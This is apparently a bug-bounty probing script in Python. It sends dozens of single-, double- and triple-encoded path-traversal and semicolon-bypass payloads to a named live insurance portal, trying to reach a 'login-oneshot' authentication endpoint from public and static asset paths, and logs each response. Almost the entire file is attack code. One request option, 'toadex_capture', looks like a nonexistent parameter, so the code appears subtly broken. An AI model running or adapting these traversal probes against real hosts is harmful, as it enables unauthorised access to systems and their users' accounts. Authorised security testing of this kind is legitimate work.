from curl_cffi import requests
from urllib.parse import quote
host='mein-portal.baloise.de'
h={'X-Bug-Bounty':'dwbzn','Authorization':'Basic YnVnYm91bnR5OnRlc3Q=','Accept':'*/*'}
variants=[]
# Encoded dot-segment traversals from REST public.
segs=[
 '../','%2e%2e/','.%2e/','%2e./','%2e%2e%2f','..%2f','%252e%252e/','%252e%252e%252f','..%252f','%252e%252e%2f','%25252e%25252e%25252f',
 '..;/','%2e%2e;/','%252e%252e;/',';%2f..;%2f','%2e%2e%3b/','%252e%252e%253b%252f'
]
for s in segs:
 variants.append('/auth/rest/public/'+s+s+'login-oneshot/')
# One segment composition variants.
variants += [
 '/auth/rest/public/%252f..%252f..%252flogin-oneshot/',
 '/auth/rest/public/%2f..%2f..%2flogin-oneshot/',
 '/auth/rest/public/..%252f..%252flogin-oneshot/',
 '/auth/rest/public/%252e%252e/%252e%252e/login-oneshot/',
 '/auth/rest/public/%25252e%25252e/%25252e%25252e/login-oneshot/',
 '/auth/rest/public/%2e%2e;%2f%2e%2e;%2flogin-oneshot/',
 '/auth/rest/public/%252e%252e%253b%252f%252e%252e%253b%252flogin-oneshot/',
]
# From public static allow tree.
for s in ['%2e%2e/','%252e%252e/','%252e%252e%252f','..%252f','%25252e%25252e%25252f']:
 variants.append('/auth/ui/assets/airlock/i18n/'+s+s+s+s+'login-oneshot/')
seen=set(); variants=[x for x in variants if not (x in seen or seen.add(x))]
for p in variants:
 try:
  r=requests.get('https://'+host+p,headers=h,allow_redirects=False,timeout=12,toadex_capture=False)
  print(f'{r.status_code}\t{len(r.content)}\t{r.headers.get("content-type","")}\t{r.headers.get("location","")}\t{p}\t{r.text[:100].replace(chr(10)," ")}')
 except Exception as e:
  print('ERR\t0\t\t\t'+p+'\t'+repr(e))